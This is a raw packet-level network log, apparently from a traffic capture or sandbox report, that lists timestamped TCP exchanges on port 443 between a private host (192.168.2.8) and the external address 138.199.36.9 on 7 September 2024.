Sep 7, 2024 23:15:34.743942022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.743948936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743980885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.744199038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.744213104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.744270086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.744276047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.744357109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.744420052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.744437933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.744486094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.744492054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.744524002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.745784998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.745799065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.745846987 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.745862961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.745893955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.746222973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.746237040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.746288061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.746296883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.746334076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.781407118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.781428099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.781593084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.781630039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.781672001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.831718922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.831749916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.831857920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.831901073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.831942081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832290888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832315922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832377911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832386017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832427025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832550049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832566977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832627058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832633972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832669020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832781076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832796097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832842112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832849026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832885981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832901955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832921028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.832967043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.832973957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.833009005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.834284067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.834300995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.834357977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.834366083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.834400892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.834820986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.834841013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.834892035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.834901094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.834939957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.870090961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.870122910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.870217085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.870249033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.870292902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920329094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920352936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920497894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920530081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920581102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920591116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920605898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920653105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920660973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920702934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920707941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920720100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920738935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920763016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920769930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920809984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920840025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920902014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920916080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920957088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.920963049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.920986891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.921030045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.921226978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.921242952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.921302080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.921308994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.921350956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.922785044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.922801018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.922853947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.922874928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.922890902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.922919035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.923161030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.923175097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.923227072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.923234940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.923280001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.958631992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.958656073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.958785057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.958818913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.958858967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.008919001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.008938074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.008986950 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009023905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009042025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009063005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009129047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009143114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009201050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009208918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009248018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009351969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009370089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009418011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009424925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009458065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009608030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009622097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009660959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009668112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009676933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009692907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009715080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009746075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.009749889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.009792089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.011322975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.011334896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.011380911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.011403084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.011436939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.011734962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.011750937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.011800051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.011807919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.011840105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.046875000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.046894073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.046958923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.046989918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.047039032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.097497940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097537994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097624063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097661972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.097698927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097747087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097763062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.097774982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.097855091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097868919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097914934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.097924948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.097949028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.098057985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.098077059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.098109007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.098115921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.098139048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.098273993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.098289013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.098335028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.098344088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.099833012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.099853039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.099900961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.099916935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.099939108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.100267887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.100281954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.100318909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.100327015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.100347042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.135433912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.135452986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.135529041 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.135562897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.135598898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.185913086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.185949087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186122894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.186165094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186181068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186202049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186240911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.186256886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186275959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.186444998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186459064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186511993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.186520100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186590910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186609983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186635017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.186641932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186661005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.186811924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186827898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186856031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.186862946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.186882973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.188282967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.188303947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.188366890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.188390970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.188736916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.188754082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.188800097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.188816071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.223895073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.223917007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.224000931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.224033117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.224045992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.269084930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.274517059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.274528980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.274636030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.274652958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.274696112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.274804115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.274821043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.274868965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.274874926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.274926901 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.275048971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275063038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275105000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.275111914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275144100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.275384903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275403023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275461912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.275468111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275506973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.275696039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275708914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275764942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.275770903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.275801897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.276859045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.276873112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.276922941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.276930094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.276962042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.277622938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.277637005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.277688026 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.277694941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.277730942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.312593937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.312613964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.312865973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.312918901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.312977076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.363218069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363234043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363524914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363529921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.363569021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363621950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363657951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363667965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.363667965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.363672972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363751888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.363775015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363818884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363838911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363883972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.363909960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.363938093 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.364137888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.364151001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.364192009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.364201069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.364224911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.365395069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.365417004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.365458012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.365472078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.365489006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.366189003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.366200924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.366249084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.366255999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.400929928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.400952101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.401077032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.401106119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.440979004 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.451725006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.451751947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.451889038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.451913118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.451953888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452205896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452223063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452274084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452284098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452322960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452332973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452347994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452399969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452411890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452439070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452447891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452455044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452471018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452491999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452498913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452522993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452539921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452729940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452743053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452792883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.452799082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.452836990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:35.454049110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.454067945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:35.454144001 CEST	49706	443	192.168.2.8	138.199.36.9
